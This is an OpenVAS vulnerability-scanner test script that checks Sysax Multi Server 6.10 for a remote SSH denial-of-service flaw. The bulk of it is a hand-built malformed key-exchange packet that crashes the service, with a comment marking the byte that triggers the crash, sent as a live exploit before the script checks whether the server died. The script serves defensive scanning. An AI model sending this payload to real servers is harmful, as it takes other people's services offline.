Sysax Multi Server SSH Component NULL Pointer Dereference DOS Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_sysax_multi_server_ssh_dos_vuln.nasl 6074 2017-05-05 09:03:14Z teissa $
#
# Sysax Multi Server SSH Component NULL Pointer Dereference DOS Vulnerability
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow remote attackers to cause the application
  to crash, creating a denial-of-service condition.
  Impact Level: Application";

tag_affected = "Sysax Multi Server version 6.10";
tag_insight = "The flaw is due to a NULL pointer dereference error within the SSH component
  when negotiating cipher keys and can be exploited to cause a crash via a
  specially crafted cipher.";
tag_solution = "Upgrade to Sysax Multi Server 6.11 or later,
  For updates refer to http://www.sysax.com/server";
tag_summary = "The host is running Sysax Multi Server and is prone to denial of
  service vulnerability.";

if(description)
{
  script_id(803191);
  script_version("$Revision: 6074 $");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:C");
  script_tag(name:"last_modification", value:"$Date: 2017-05-05 11:03:14 +0200 (Fri, 05 May 2017) $");
  script_tag(name:"creation_date", value:"2013-04-16 11:21:21 +0530 (Tue, 16 Apr 2013)");
  script_name("Sysax Multi Server SSH Component NULL Pointer Dereference DOS Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/52934");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/24940");
  script_xref(name : "URL" , value : "http://packetstormsecurity.com/files/121207");
  script_xref(name : "URL" , value : "http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html");

  script_category(ACT_DENIAL);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
  script_family("Denial of Service");
  script_dependencies("ssh_detect.nasl");
  script_require_ports("Services/ssh", 22);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


port = "";
soc = "";
soc2 = "";
req = "";
banner = "";
ini_req = "";

## Get SSH Port
port = get_kb_item("Services/ssh");
if(!port){
  port = 22;
}

## Check Port State
if(!get_port_state(port)){
  exit(0);
}

banner = get_kb_item("SSH/banner/" + port);
if (!banner || "SysaxSSH" >!< banner){
  exit(0);
}

## Open TCP Socket
soc = open_sock_tcp(port);
if(!soc){
  exit(0);
}

ini_req = raw_string(0x53, 0x53, 0x48, 0x2d, 0x32, 0x2e, 0x30, 0x2d,
                     0x4f, 0x70, 0x65, 0x6e, 0x53, 0x53, 0x48, 0x5f,
                     0x35, 0x2e, 0x31, 0x70, 0x31, 0x20, 0x44, 0x65,
                     0x62, 0x69, 0x61, 0x6e, 0x2d, 0x35, 0x75, 0x62,
                     0x75, 0x6e, 0x74, 0x75, 0x31, 0x0d, 0x0a);

## Build Exploit
req = raw_string(0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,
                 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,
                 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,
                 0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65,
                 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,
                 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65,
                 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d,
                 0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64,
                 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65,
                 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72,
                 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68,
                 0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61,
                 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65,
                 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,
                 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 0x34,
                 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69,
                 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c,
                 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f,
                 0x75, 0x70, 0x31, 0x2d, 0x73, 0x68, 0x61, 0x31,
                 0x00, 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68, 0x2d,
                 0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68, 0x2d,
                 0x64, 0x73, 0x73, 0x00, 0x00, 0x00, 0x9d, 0x61,
                 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, 0x62,
                 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, 0x63,
                 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66,
                 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, 0x2c,
                 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, 0x2d,
                 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, 0x66,
                 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, 0x61,
                 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, 0x35,
                 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75,
                 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, 0x32,
                 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, 0x73,
                 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63, 0x2c,
                 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, 0x6c,
                 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, 0x73,
                 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, 0x75,
                 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, 0x31,
                 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61,
                 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, 0x74,
                 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, 0x36,
                 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, 0x9d,
                 0x61, 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63,
                 0x62, 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d,
                 0x63, 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77,
                 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63,
                 0x2c, 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38,
                 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63,
                 0x66, 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c,
                 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32,
                 0x35, 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f,
                 0x75, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39,
                 0x32, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65,
                 0x73, 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63,
                 0x2c, 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65,
                 0x6c, 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79,
                 0x73, 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69,
                 0x75, 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73,
                 0x31, 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c,
                 0x61, 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63,
                 0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35,
                 0x36, 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00,
                 0x69, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64,
                 0x35, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73,
                 0x68, 0x61, 0x31, 0x2c, 0x75, 0x6d, 0x61, 0x63,
                 0x2d, 0x36, 0x34, 0x40, 0x6f, 0x70, 0x65, 0x6e,
                 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c,
                 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70,
                 0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x2c, 0x68,
                 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65,
                 0x6d, 0x64, 0x31, 0x36, 0x30, 0x40, 0x6f, 0x70,
                 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
                 0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73,
                 0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68,
                 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2d,
                 0x39, 0x36, 0x00, 0x00, 0x00, 0x69, 0x68, 0x6d,
                 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2c, 0x68,
                 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31,
                 0x2c, 0x75, 0x6d, 0x61, 0x63, 0x2d, 0x36, 0x34,
                 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68,
                 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61,
                 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64,
                 0x31, 0x36, 0x30, 0x2c, 0x68, 0x6d, 0x61, 0x63,
                 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31,
                 0x36, 0x30, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73,
                 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68,
                 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31,
                 0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61, 0x63,
                 0x2d, 0x6d, 0x64, 0x35, 0x2d, 0x39, 0x36, 0x00,

                 ##3rd byte in this next line causes crash
                 0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,
                 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,
                 0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,
                 0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,
                 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,
                 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,
                 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,
                 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                 0x0a);


## Sending Exploit
send(socket:soc, data:ini_req);
recv(socket:soc, length:1024);

send(socket:soc, data:req);
recv(socket:soc, length:1024);

## Close socket
close(soc);

sleep(5);

## Confirm Sysax Multi Server SSH is alive and responding
soc2 = open_sock_tcp(port);
if(!soc2)
{
  security_message(port);
  exit(0);
}
else
{
  resp = recv(socket:soc2, length:1024);
  if("SysaxSSH" >!< resp)
  {
    close(soc2);
    security_message(port);
    exit(0);
  }
}

close(soc2);